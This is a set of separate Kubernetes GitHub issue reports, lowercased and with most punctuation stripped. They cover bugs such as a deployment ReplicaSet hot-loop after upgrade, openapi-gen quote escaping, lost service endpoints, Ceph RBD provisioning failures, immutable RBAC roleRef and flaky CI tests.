yaml to json conversion bug. i still don't know either workaround or fix for this \r \r \r \r

 \r     what happened\r \r a deployment enters create new replicaset hot-loop. \r \r in deployment's spec.template:\r    yaml\r       volumes:\r       - emptydir:\r           sizelimit: \ 0\ \r         name: foo\r    \r \r in its rs's spec.template:\r    yaml\r       volumes:\r       - emptydir: {}\r         name: foo\r    \r \r this will happen when you create a deployment that specifies  volumes.emptydir  in 1.7.0 - 1.7.5, and then upgrade the cluster to >= 1.8.0, with localstoragecapacityisolation disabled.\r \r     root cause \r \r some background information:\r 1. in pod spec, a new field  volumes.emptydir.sizelimit  was introduced in 1.7.0, it's an optional field, but incorrectly set as  resource.quantity  type. \r 1. to fix the above issue, it's changed to pointer type   resource.quantity  later   50163  in 1.8.0 and backported to 1.7.6. \r 1. in 1.8.0, this field is set to  nil  if the localstoragecapacityisolation feature isn’t enabled: \r https://github.com/kubernetes/kubernetes/blob/v1.8.0/pkg/api/pod/util.go l242  this fix will soon be cherrypicked to the next 1.7.x release .\r 1. deployment creates a new rs by copying its own template to the rs. deployment finds a new rs by comparing the deployment's template against the replicasets it owns. \r \r if you create a deployment that specifies  volumes.emptydir  in 1.7.0 - 1.7.5, it will incorrectly set sizelimit to \ 0\  by default, because of   1   mentioned above. \r \r    yaml\r       volumes:\r       - emptydir:\r           sizelimit: \ 0\ \r         name: foo\r    \r \r if you then upgrade the cluster to 1.8.0, the  sizelimit: \ 0\   in rs will be cleared, because of   3   mentioned above .\r \r deployment cannot find its new replicaset because of the template change, and continuous creating more new replicasets, which will still have different template after creation. \r \r     solution \r \r a possible solution is to implement  create    in dry-run mode, and have deployments to use dry-run created repliaset template  instead of deployment template  to compare and find current replicaset. this is a long term solution. \r \r a short term is to implement a hack that clears deployment's  volumes.emptydir.sizelimit  with replicasets. the code here should do the trick: https://github.com/kubernetes/kubernetes/blob/release-1.8/pkg/registry/extensions/deployment/strategy.go l90-l91 except that the deployment needs to be updated to trigger this cleanup code. \r \r @kubernetes/sig-apps-bugs @liggitt

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the   customcolumnprinter   https://github.com/kubernetes/kubernetes/blob/9af339885b68990a96470cc4350514d2a1ec30c8/pkg/printers/customcolumn.go l71  mentions that it supports jsonpath. i tried to use jsonpath which worked with  kubectl  directly, but when i attempted to use it with the comment like so\r \r  // +k8s:openapi-gen=x-kubernetes-print-columns:custom-columns=name:.metadata.name,ready:.status.conditions ? @.type == \ ready\   .status,shape:.spec.shape,ocid:.status.id \r \r it generates invalid json since the quotes aren't escaped. i have to escape the quotes manually in the comment in order for it to work  s/\ ready\ /\\\ ready\\\  \r \r   what you expected to happen  :\r \r i expect valid jsonpath that works with kubectl to work here w/o changes, so the quotes should be escaped. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a custom resource and generate openapi docs. add the openapi-gen comment above with a jsonpath selector that includes quotes. \r \r   anything else we need to know?  :\r \r the code-generator is latest master. \r \r  /area code-generation

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r if we hit a context deadline exceeded on startcontainer or restart the kubelet in the middle of the startcontainer   that the container can still come up, as the runtime will continue to try to start the container. if that happens, the post-start hooks will not be executed.\r \r   what you expected to happen  :\r post-start hooks  must get executed if the container is started successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r one way to reproduce is to instrument the kubelet code https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/docker_container.go l241 by putting sleep and when the execution hits the sleep, stop and restart the kubelet. there might be other ways too.\r \r   anything else we need to know?  :\r for ref: https://github.com/kubernetes/kubernetes/issues/59206 as both if these issues happens at the same time if the above conditions occur.\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master branch\r \r @sjenning @dashpole

 \r   what happened  :\r \r as part of kubernetes-client/java, i'm looking at the websocket calls for pods/exec.  when the exec'd process exits with a non-zero code, we would like to provide this exit code value to the caller.\r \r exec status information is provided through websocket channel 3; however, this content is presently unstructured.  for instance, the following content was returned:\r \r command terminated with non-zero exit code: error executing in docker container: 1\r \r   what you expected to happen  :\r \r i'd like to see the status returned as a json object with an exitcode attribute.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a pod that has a script that returns a non-zero exit code.\r 2. kubectl exec this pod and script and watch the traffic on channel 3.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.2\ , gitcommit:\ 5fa2db2bd46ac79e5e00a4e6ed24191080aa463b\ , gittreestate:\ clean\ , builddate:\ 2018-01-18t10:09:24z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:52:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

during the registration process, csi registration side car returns the endpoint of csi driver. pluginswatcher should validate passed the endpoint and fail the registration if the endpoint points to a non-existing path.\r  

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r usage of avx instructions could kill performance of other containers, since those affect the entire processor for intel processors.\r \r relevant tweets:\r https://twitter.com/kellabyte/status/1028883520293203968\r https://twitter.com/var_tec/status/1029139635706818560\r \r   what you expected to happen  :\r other containers shouldnt be affected\r \r   how to reproduce it  as minimally and precisely as possible   :\r run a program using avx instructions in a container\r \r   anything else we need to know?  :\r this is also a potential security issue\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11\r - cloud provider or hardware configuration:  \r on aws c5 instances have custom xeon processors that support avx\r https://twitter.com/rbranson/status/1029129721320075264\r - os  e.g. from /etc/os-release :  ubuntu\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r   \r   what happened  :\r after v1.11 upgrade the api server memory started steadily increasing using eventually all resources.\r at the same time we observed goroutines and open fds going up\r \r graphs: https://www.dropbox.com/sh/9fla8up2t70b80d/aaanamdydt5gf0omz9rifsvba?dl=0\r \r   what you expected to happen  :\r api server to release chunks of memory after the use.\r possible memory leak in the api server process\r \r   how to reproduce it  :\r - upgrade kubernetes to v1.11\r \r   anything else we need to know?  :\r the cluster has ~45k namespaces\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r  server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r - cloud provider or hardware configuration:\r  aws \r - os  e.g. from /etc/os-release :\r  coreos-stable-1800.7.0 \r - kernel  e.g.  uname -a  :\r  linux ip-10-155-64-206.ec2.internal 4.14.63-coreos  1 smp wed aug 15 22:26:16 utc 2018 x86_64 intel r  xeon r  platinum 8175m cpu @ 2.50ghz genuineintel gnu/linux \r - install tools:\r  terraform \r

it looks like  kubeletconfiguration  type does not have a field for  volumeplugindir  which is a valid kubelet option. was there any particular reason to not bring this field over?\r \r   \r \r cc @sjenning

util.handleerror is the default \ eat this error, log it, or report it to some other system as an unexpected error\  handler.  we should use it in server code  and rarely, user interface code  when we would otherwise eat an error.  there is a forthcoming integration to report these errors to sentry or other error systems  or as events .

i tried creating secrets  with hunspell dictionaries for elasticsearch  https://www.elastic.co/guide/en/elasticsearch/guide/current/hunspell.html . the dictionaries are quite big and serialized to base64, they create about  6 mib yaml file  https://github.com/kubernetes/kubernetes/files/178151/elasticsearch-config-hunspell.txt .   kubectl  exists with this error in log:      i0317 16:20:06.268070    9870 decoder.go:144  decoding stream as yaml f0317 16:20:06.268606    9870 helpers.go:107  bufio.scanner: token too long      tested with release 1.2.0.

not sure why, but  kubectl.exe  on windows feels really slow, we should investigate some more.

need e2e test where some state is put into the master, then the master is rebooted, then it comes back and the state is still there because it was persisted by etcd.

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-scalability/282/  run so broken it didn't make junit output!

new parameters were added to the probe types mentioned in issue  12866. one of those parameters is a period in seconds of how often the probe is run. since it's already proposed to be an int64, it would be nice if the granularity of the probe was in milliseconds and not seconds. this would allow for quick failure detection among the pods and leave it to the user to determine how much network traffic/overhead is too much.

need some doc or help text for how to use multiple selectors. and some behavior is suspicious. need to fix that if it is a bug.\r \r i only keep the name and labels in the example below.\r    \r $ kubectl get service --namespace=kube-system --show-labels \r name                   labels\r default-http-backend   k8s-app=glbc,kubernetes.io/cluster-service=true,kubernetes.io/name=glbcdefaultbackend\r heapster               kubernetes.io/cluster-service=true,kubernetes.io/name=heapster\r kube-dns               k8s-app=kube-dns,kubernetes.io/cluster-service=true,kubernetes.io/name=kubedns\r kubernetes-dashboard   k8s-app=kubernetes-dashboard,kubernetes.io/cluster-service=true\r monitoring-grafana     kubernetes.io/cluster-service=true,kubernetes.io/name=grafana\r monitoring-influxdb    kubernetes.io/cluster-service=true,kubernetes.io/name=influxdb\r    \r \r this is the correct way to use multiple selector:\r    \r $ kubectl get service -l=k8s-app=kube-dns,kubernetes.io/cluster-service=true --namespace=kube-system --show-labels \r name       labels\r kube-dns   k8s-app=kube-dns,kubernetes.io/cluster-service=true,kubernetes.io/name=kubedns\r    \r \r the behavior below is suspicious. it seems it only respect the  -l  that comes last.\r this behavior may cause users hurt themselves when using something like  kubectl apply --prune -l  @pwittrock \r    \r $ kubectl get service -l=k8s-app=kube-dns -l=kubernetes.io/cluster-service=true --namespace=kube-system --show-labels\r name                   labels\r default-http-backend   k8s-app=glbc,kubernetes.io/cluster-service=true,kubernetes.io/name=glbcdefaultbackend\r heapster               kubernetes.io/cluster-service=true,kubernetes.io/name=heapster\r kube-dns               k8s-app=kube-dns,kubernetes.io/cluster-service=true,kubernetes.io/name=kubedns\r kubernetes-dashboard   k8s-app=kubernetes-dashboard,kubernetes.io/cluster-service=true\r monitoring-grafana     kubernetes.io/cluster-service=true,kubernetes.io/name=grafana\r monitoring-influxdb    kubernetes.io/cluster-service=true,kubernetes.io/name=influxdb\r    \r \r    \r $ kubectl get service -l=kubernetes.io/cluster-service=true -l=k8s-app=kube-dns --namespace=kube-system --show-labels\r name       labels\r kube-dns   k8s-app=kube-dns,kubernetes.io/cluster-service=true,kubernetes.io/name=kubedns\r

kubernetes version    use  kubectl version  : 1.7\r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r \r \r \r aggregator should function with the dialer/sshtunneler code. this would allow it to function in an environment such as gke where there is a firewall between the master cluster and the user cluster. to do this the master needs to connect to the user-apiserver over the appropriate dialer which uses the configured ssh tunnel. \r \r

\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/garbage_collector.go:424\r jul 21 22:15:19.990: failed to create deployment: deployment.apps \ simpletest.deployment\  is invalid: spec.template.metadata.labels: invalid value: map string string{\ another.key\ :\ another.value\ }:  selector  does not match template  labels \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/apimachinery/garbage_collector.go:386\r    \r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49417/pull-kubernetes-e2e-gce-etcd3/42215/\r

https://deck-ci.svc.ci.openshift.org/log?job=test_branch_origin_extended_networking&id=887\r \r if i try to access the service above from inside a pod in the same cluster, i can't see the parameters being forwarded. is this intentional or not?\r    \r $ curl http://deck/log?job=test_branch_origin_extended_networking&id=887                                                                                                             \r  1  64\r bash-4.2$ missing job and id query\r    \r \r @kubernetes/sig-network-bugs \r \r running on:\r    \r oc v3.7.0-alpha.1+36865f9-1008\r kubernetes v1.7.6+a08f5eeb62\r features: basic-auth\r \r openshift v3.7.0-alpha.1+70fcade-21\r kubernetes v1.7.0+695f48a16f\r

i test pod mount volume through pvc on storageclass ceph must exist in the same namespace with secret. now i want mutil namespace environment, so each namespace need to create its own storageclass.\r kubectl create ns like\r ceph osd pool create like 128\r ceph auth get-or-create client.like mon 'allow r' osd 'allow class-read object_prefix rbd_children, allow rwx pool=like'\r i creaet ceph-secret-like in namespace like and storageclass ceph-like use pool like and secret ceph-secret-like\r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r name: ceph-like\r provisioner: kubernetes.io/rbd\r parameters:\r monitors: 10.110.17.56:6789,10.110.17.57:6789,10.110.17.58:6789\r adminid: admin\r adminsecretname: ceph-secret\r adminsecretnamespace: default\r pool: like\r userid: like\r usersecretname: ceph-secret-like\r imageformat: \ 1\ \r when i create pvc in namespace like，its status is pending, and log show like this:\r warning provisioningfailed 3m  x17 over 7m  persistentvolume-controller  combined from similar events : failed to provision volume with storageclass \ ceph-like\ : failed to create rbd image: exit status 1, command output: 2017-11-24 03:08:55.020934 7fe5c270d780 -1 did not load config file, using default settings.\r 2017-11-24 03:08:55.032621 7fe5c270d780 0 librados: client.admin authentication error  1  operation not permitted\r rbd: couldn't connect to the cluster!

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >   \r \r   what happened  :\r i'm trying to apply a yaml file of a  deployment , which contains pod tolerations in its pod spec section.  \r everything works fine, deployment, replicaset and pods are created according the yaml,  kubectl  doesn't return any error, but the tolerations are just not being added.  \r i tried apply to an existing / new deployment, but neither work.  \r the yaml is in the following form  replaced the irrelevant values :\r    \r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   name: some_name\r   namespace: my_ns\r   labels:\r     app: my_app\r spec:\r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: my_app\r     spec:\r       nodeselector:\r         key: value\r       tolerations:\r       - key: \ dedicated\ \r         operator: \ equal\ \r         value: \ my_user\ \r         effect: \ noschedule\ \r       - key: \ some_key\ \r         operator: \ equal\ \r         value: \ some_value\ \r         effect: \ noschedule\ \r       containers:\r       - image: my_image\r         name: some_name\r         ...etc\r    \r i noticed however that posting the tolerations manually via kubernetes ui in the edit section inside the deployment does work, the tolerations are added to the deploymeny, and the pods are scheduled to the matching tainted node.  \r also, editing the yaml using  kubectl edit deployments <deployment_name>  and adding the tolerations there also works, or even using  kubectl create .  \r \r \r   what you expected to happen  :\r i expect that applying the above yaml with  kubectl  would apply the new tolerations to the created / existing pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a tainted node, even with 1 taint, then try to  kubectl apply  some yaml in the above form, with new tolerations in its pod spec section.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : client - v1.5.4, server - v1.8.5  -rancher1 \r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : 4.4.0-28-generic\r - install tools: n/a\r - others:\r

 \r   what happened  :\r i encounter an error when attempting to change the roleref in a clusterrolebinding:\r \r the clusterrolebinding \ test-crb\  is invalid: roleref: invalid value: rbac.roleref{apigroup:\ rbac.authorization.k8s.io\ , kind:\ clusterrole\ , name:\ view\ }: cannot change roleref\r \r   what you expected to happen  :\r i expected to be able to modify the roleref field in a clusterrolebinding.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    bash\r $ kubectl apply -f - << eof\r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: test-crb\r subjects:\r - kind: user\r   name: user@acme.com\r   apigroup: rbac.authorization.k8s.io\r roleref:\r   kind: clusterrole\r   name: edit\r   apigroup: rbac.authorization.k8s.io\r eof\r clusterrolebinding \ test-crb\  created\r \r $ kubectl apply -f - << eof\r kind: clusterrolebinding\r apiversion: rbac.authorization.k8s.io/v1\r metadata:\r   name: test-crb\r subjects:\r - kind: user\r   name: user@acme.com\r   apigroup: rbac.authorization.k8s.io\r roleref:\r   kind: clusterrole\r   name: view\r   apigroup: rbac.authorization.k8s.io\r eof\r the clusterrolebinding \ test-crb\  is invalid: roleref: invalid value: rbac.roleref{apigroup:\ rbac.authorization.k8s.io\ , kind:\ clusterrole\ , name:\ view\ }: cannot change roleref\r    \r \r   anything else we need to know?  :\r for some reason this appears to be intentional without any explanation of why.  i cannot seem to find any documentation indicating it is supposed to work this way, and the validation code does not indicate why this constraint is required and the user needs to perform delete / create instead of being allowed to modify. https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/rbac/validation/validation.go l160\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.5\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  : some of running services's endpoint is missing. \r \r   what you expected to happen  : service with correct endpoints.\r \r   how to reproduce it  as minimally and precisely as possible   :\r not sure. something that just happened.\r \r   anything else we need to know?  :\r before the endpoint missing, there is a kubernetes api server failure. but the cluster is managed by third party. i could not access the master node.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-08t16:31:10z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  aliyuncloud \r - os  e.g. from /etc/os-release :\r    \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux izbp158njg5gofk5798r9bz 3.10.0-693.2.2.el7.x86_64  1 smp tue sep 12 22:26:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: no\r - others: no\r \r after the master api server recovery from failure. most of my running services lost their endpoints.\r    \r   kubectl get ep\r name                    endpoints                            age\r cassandra               <none>                               3d\r consul                  <none>                               3d\r df                                                           3d\r kf-connect-restapi                                           3d\r kf-forward-restapi                                           3d\r kf-operation-restapi                                         3d\r kf-projekt-restapi                                           3d\r kf-socketio-restapi                                          3d\r kf-statistics-restapi                                        3d\r kf-thirdparty-restapi                                        3d\r kf-ticket-restapi                                            3d\r kubernetes              192.168.0.15:6443                    3d\r nginx-http              172.20.2.42:80,172.20.2.42:443       18h\r postgresql-pg           172.20.2.52:5432                     3d\r rabbitmq-amqp           172.20.2.49:5672,172.20.2.49:15672   3d\r redis-master            172.20.2.38:6379                     3d\r redis-slave             172.20.2.32:6379                     3d\r roc-sa-mockingbird      172.20.0.49:34566                    3d\r roc-sa-restapi          <none>                               3d\r spark-restapi           172.20.0.44:6066                     3d\r spark-spark             172.20.0.44:7077                     3d\r spark-webui             172.20.0.44:18080                    3d\r spark-worker-webui      <none>                               3d\r zapdos-sa-restapi       <none>                               3d\r    \r for example, the  consul  service.\r    \r   kubectl get service consul\r name      type        cluster-ip    external-ip   port s     age\r consul    clusterip   172.21.3.90   <none>        8500/tcp   3d\r    \r    \r   kubectl get pods --selector=app=consul,release=kingfisher-test\r name       ready     status    restarts   age\r consul-0   1/1       running   0          15h\r    \r    \r   kubectl describe service consul\r name:              consul\r namespace:         default\r labels:            app=consul\r                    chart=consul-0.1.0\r                    heritage=tiller\r                    release=kingfisher-test\r annotations:       <none>\r selector:          app=consul,release=kingfisher-test\r type:              clusterip\r ip:                172.21.3.90\r port:              consul-default  8500/tcp\r targetport:        restapi-default/tcp\r endpoints:         <none>\r session affinity:  none\r events:            <none>\r    \r    \r   kubectl describe pod consul-0\r name:               consul-0\r namespace:          default\r priority:           0\r priorityclassname:  <none>\r node:               cn-hangzhou.i-bp158njg5gofk5798r9b/192.168.0.18\r start time:         mon, 15 oct 2018 22:11:29 +0800\r labels:             app=consul\r                     controller-revision-hash=consul-5f6db44975\r                     release=kingfisher-test\r                     statefulset.kubernetes.io/pod-name=consul-0\r annotations:        <none>\r status:             running\r ip:                 172.20.1.47\r controlled by:      statefulset/consul\r containers:\r   consul:\r     container id:  docker://e4b2f314f605466da76e8cb4695d1f67188a5d63d4c00b2fbe9d6080c5eaf533\r     image:         consul:1.2.2\r     image id:      docker-pullable://consul@sha256:8603f0d1b2278364ecb7c11068a477b1ea648df735eda8791362063aba99656a\r     port:          8500/tcp\r     host port:     0/tcp\r     args:\r       agent\r       -bootstrap\r       -server\r       -client\r       0.0.0.0\r       -node\r       consul\r       -raft-protocol\r       3\r       -ui\r     state:          running\r       started:      mon, 15 oct 2018 22:11:44 +0800\r     ready:          true\r     restart count:  0\r     liveness:       tcp-socket :8500 delay=10s timeout=10s period=20s  success=1  failure=3\r     readiness:      tcp-socket :8500 delay=10s timeout=10s period=20s  success=1  failure=3\r     environment:\r       pod_name:    v1:spec.nodename \r       pod_ip:      v1:status.podip \r       tz:        asia/shanghai\r     mounts:\r       /consul/data from consul-data-pvc  rw \r       /usr/share/zoneinfo/asia/shanghai from timezone  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-555fg  ro \r conditions:\r   type              status\r   initialized       true\r   ready             true\r   containersready   true\r   podscheduled      true\r volumes:\r   consul-data-pvc:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  consul-data-pvc-consul-0\r     readonly:   false\r   timezone:\r     type:          hostpath  bare host directory volume \r     path:          /usr/share/zoneinfo/asia/shanghai\r     hostpathtype:  file\r   default-token-555fg:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-555fg\r     optional:    false\r qos class:       besteffort\r node-selectors:  <none>\r tolerations:     node.kubernetes.io/not-ready:noexecute for 300s\r                  node.kubernetes.io/unreachable:noexecute for 300s\r events:          <none>\r    \r \r the pod is running normally. the selector label matches. but the service has no endpoints.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r unknown.\r \r   which test s  are failing  :\r \r      feature:initializers  should create a resourcequota and capture the life of an uninitialized pod.\r \r   since when has it been failing  :\r \r unknown.\r \r   testgrid link  :\r \r unknown\r \r   reason for failure  :\r \r   info: expect err to be timeout error, got pod \ too-large-pod\  is invalid: metadata.initializers.pending 0 .name: invalid value: \ unhandled\ : should be a domain with at least three segments separated by dots  \r \r even after that particular issue is fixed, the test continues to fail at the step when creating a pod with an initializer which exceeds the resource quota:\r \r   info: expect err to be timeout error, got pods \ too-large-pod\  is forbidden: exceeded quota: t\r est-quota, requested: cpu=1100m, used: cpu=0, limited: cpu=1  \r \r additionally, in my case, the 30 seconds wait for the resource quota to be updated is not always enough, which causes the test to sometimes timeout.\r \r   anything else we need to know  :\r \r 

continuing on from  7281...  i don't think we should keep this as a steady state - we should migrate to just  - 's and first deprecate then remove flags with  _  by 1.0.  even if we don't disable  _  flags by 1.0, we should make sure deprecation warnings are issued.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    ci-cloud-provider-vsphere-conformance-latest \r    ci-vsphere-conformance-latest \r \r   which test s  are failing  :\r    overall    spyglass  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-cloud-provider-vsphere-conformance-latest/1120179766796750848  \r \r   since when has it been failing  :\r the latest round of failures started on 4/12.\r \r   testgrid link  :\r   https://testgrid.k8s.io/sig-release-master-informing conformance%20-%20vsphere-cloud-provider\r   https://testgrid.k8s.io/sig-release-master-informing conformance%20-%20vsphere\r \r \r   reason for failure  :\r    \r \r  fail   k8s.io  container runtime blackbox test on terminated container  it  should report termination message  linuxonly  from log output if terminationmessagepolicy fallbacktologsonerror is set  nodeconformance   conformance \r \r ...\r fail! -- 214 passed | 1 failed | 0 pending | 3867 skipped\r --- fail: teste2e  5633.00s \r fail\r \r ...\r \r error  1  - timed out getting test results\r    \r \r  / /milestone v.15\r  /cc @kubernetes/sig-cloud-provider-test-failures \r \r /cc @jimangel @smourapina @rarchk @alenkacz

per the sig-node discussion, if we add a remote container runtime, the kubelet has no way to know what cgroup to monitor for the summary api, or other use case/tools built on top of that api to do benchmarks to measure usage associated with that runtime.  we should decide if the kubelet should monitor the runtime cgroup  if any , and if it should, how it should get the value  i.e. via full cgroup path, pid detection, etc. .  /cc @kubernetes/sig-node

an investigation of  31971:  situation is following: before the test on the node  gke-jenkins-e2e-default-pool-638c464f-sa7g  there were 3 running pods according to kubelet:      logging pods the kubelet thinks is on node gke-jenkins-e2e-default-pool-638c464f-sa7g before test sep  2 04:23:57.650: info: fluentd-cloud-logging-gke-jenkins-e2e-default-pool-638c464f-sa7g from kube-system started at <nil>  0 container statuses recorded  sep  2 04:23:57.650: info: kube-dns-v17.1-sev0c from kube-system started at 2016-09-02t03:49:41-07:00  3 container statuses recorded  sep  2 04:23:57.650: info:  container dnsmasq ready: true, restart count 0 sep  2 04:23:57.650: info:  container healthz ready: true, restart count 0 sep  2 04:23:57.650: info:  container kubedns ready: true, restart count 0 sep  2 04:23:57.650: info: kube-proxy-gke-jenkins-e2e-default-pool-638c464f-sa7g from kube-system started at <nil>  0 container statuses recorded       api server agreed on that list:      sep  2 04:23:57.761: info: pod fluentd-cloud-logging-gke-jenkins-e2e-default-pool-638c464f-sa7g requesting resource cpu=100m on node gke-jenkins-e2e-default-pool-638c464f-sa7g sep  2 04:23:57.761: info: pod kube-dns-v17.1-sev0c requesting resource cpu=110m on node gke-jenkins-e2e-default-pool-638c464f-sa7g sep  2 04:23:57.761: info: pod kube-proxy-gke-jenkins-e2e-default-pool-638c464f-sa7g requesting resource cpu=100m on node gke-jenkins-e2e-default-pool-638c464f-sa7g sep  2 04:23:57.761: info: node: gke-jenkins-e2e-default-pool-638c464f-sa7g has cpu capacity: 1690m      but despite that scheduler failed to schedule 3 pods each requesting 500mcpus:      sep  2 04:33:58.092: info: at {2016-09-02 04:23:57 -0700 pdt} - event for overcommit-3: {default-scheduler } scheduled: successfully assigned overcommit-3 to gke-jenkins-e2e-default-pool-638c464f-sa7g sep  2 04:33:58.092: info: at {2016-09-02 04:23:57 -0700 pdt} - event for overcommit-6: {default-scheduler } scheduled: successfully assigned overcommit-6 to gke-jenkins-e2e-default-pool-638c464f-sa7g sep  2 04:33:58.092: info: at {2016-09-02 04:23:57 -0700 pdt} - event for overcommit-7: {default-scheduler } failedscheduling: pod  overcommit-7  failed to fit in any node fit failure on node  gke-jenkins-e2e-default-pool-638c464f-sa7g : insufficient cpu      it was happening before, when for some reason one of the system pods was starting during the test was running. this time it was not the case, as after the test kubelet was claiming that exactly the same pods  +2 overcommit pods  were running on the node:      logging pods the kubelet thinks is on node gke-jenkins-e2e-default-pool-638c464f-sa7g sep  2 04:33:58.471: info: fluentd-cloud-logging-gke-jenkins-e2e-default-pool-638c464f-sa7g started at <nil>  0+0 container statuses recorded  sep  2 04:33:58.471: info: kube-dns-v17.1-sev0c started at 2016-09-02t03:49:41-07:00  0+3 container statuses recorded  sep  2 04:33:58.471: info:  container dnsmasq ready: true, restart count 0 sep  2 04:33:58.471: info:  container healthz ready: true, restart count 0 sep  2 04:33:58.471: info:  container kubedns ready: true, restart count 0 sep  2 04:33:58.471: info: kube-proxy-gke-jenkins-e2e-default-pool-638c464f-sa7g started at <nil>  0+0 container statuses recorded  sep  2 04:33:58.471: info: overcommit-3 started at 2016-09-02t04:23:57-07:00  0+1 container statuses recorded  sep  2 04:33:58.471: info:  container overcommit-3 ready: true, restart count 0 sep  2 04:33:58.471: info: overcommit-6 started at 2016-09-02t04:23:57-07:00  0+1 container statuses recorded  sep  2 04:33:58.471: info:  container overcommit-6 ready: true, restart count 0      this might indicate some bug in scheduler cache. @hongchaodeng @davidopp @wojtek-t 